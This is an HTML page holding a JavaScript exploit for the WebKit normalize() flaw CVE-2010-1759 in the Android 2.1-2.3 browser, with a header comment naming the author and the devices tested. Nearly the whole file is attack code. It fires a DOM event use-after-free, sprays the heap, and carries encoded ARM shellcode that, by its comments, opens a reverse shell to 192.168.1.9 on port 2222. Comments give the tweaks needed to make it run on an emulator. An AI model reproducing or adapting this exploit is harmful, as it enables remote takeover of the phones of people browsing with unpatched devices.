122 lines
No EOL
3.2 KiB
HTML
122 lines
No EOL
3.2 KiB
HTML
<!--
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CVE-2010-1759 webkit normalize bug
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Tested on
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Moto Droidx2 running 2.2. Droidx2 running 2.3 is vulnerable but exploit fails due to non-executable heap. Still working on a way around that :)
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2.1 - 2.3 emulator. The changes needed are documented in the code. The emulator is less consistent than the real phone
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Author: MJ Keith mjkeith[at]evilhippie.org
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-->
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<p>LOADING... </p>
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<div id="test1"></div>
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<div id="test2"></div>
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<div id="test3"></div>
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<script>
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var elem1 = document.getElementById("test1");
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var elem2 = document.getElementById("test2");
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var elem3 = document.getElementById("test3");
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function spray()
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{
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for (var i = 0; i < 180000; i++) {var s = new String(unescape("\u0052\u0052")); } // "\u0056\u0056" FOR EMULATOR
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var scode = unescape("\u5200\u5200"); // "\u0058\u0058" FOR EMULATOR
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var scode2 = unescape("\u5005\ue1a0");
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var shell = unescape("\u0002\ue3a0\u1001\ue3a0\u2005\ue281\u708c\ue3a0\u708d\ue287\u0080\uef00\u6000\ue1a0\u1084\ue28f\u2010\ue3a0\u708d\ue3a0\u708e\ue287\u0080\uef00\u0006\ue1a0\u1000\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1001\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1002\ue3a0\u703f\ue3a0\u0080\uef00\u2001\ue28f\uff12\ue12f\u4040\u2717\udf80\ua005\ua508\u4076\u602e\u1b6d\ub420\ub401\u4669\u4052\u270b\udf80\u2f2f\u732f\u7379\u6574\u2f6d\u6962\u2f6e\u6873\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u0002");
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shell += unescape("\uae08"); // Port = 2222
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shell += unescape("\ua8c0\u0901"); // IP = 192.168.1.9 // "\u000a\u0202" FOR EMULATOR
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shell += unescape("\u2000\u2000"); // Port = 2222
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do
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{
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scode += scode;
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scode2 += scode2;
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} while (scode.length<=0x1000);
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scode2 += shell
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target = new Array();
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for(i = 0; i < 141; i++){ // CHANGE 141 TO 201 FOR EMULATOR
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if (i<100){ target[i] = scode;}
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if (i>100){ target[i] = scode2;}
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document.write(target[i]);
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document.write("<br />");
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if (i>140){ // CHANGE 140 TO 200 FOR EMULATOR
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document.write("<br />");}
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}
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}
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function handler1()
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{
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elem1.removeAttribute("b");
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spray();
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}
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function handler2()
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{
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elem2.removeAttribute("b");
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spray();
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}
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function handler3()
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{
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elem3.removeAttribute("b");
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spray();
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}
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function slowdown()
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{
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for (var i = 0; i < 120; i++) { console.log('slow' + i);
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if (i > 110 ){ elem1.normalize(); elem2.normalize(); elem3.normalize();
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}
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}
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}
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elem1.setAttribute("b", "a");
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elem1.attributes[0].appendChild(document.createTextNode("hi"));
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elem1.attributes[0].addEventListener("DOMSubtreeModified", handler2, false);
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document.body.offsetTop;
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slowdown(); // COMMENT OUT THIS FUNCTION CALL FOR EMULATOR
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//elem1.normalize(); // UN-COMMENT THIS LINE FOR EMULATOR
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document.body.offsetTop;
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elem2.setAttribute("b", "a");
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elem2.attributes[0].appendChild(document.createTextNode("hi"));
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elem2.attributes[0].addEventListener("DOMSubtreeModified", handler2, false);
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document.body.offsetTop;
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elem2.normalize();
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elem3.setAttribute("b", "a");
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elem3.attributes[0].appendChild(document.createTextNode("hi"));
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elem3.attributes[0].addEventListener("DOMSubtreeModified", handler3, false);
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document.body.offsetTop;
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elem3.normalize();
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</script> |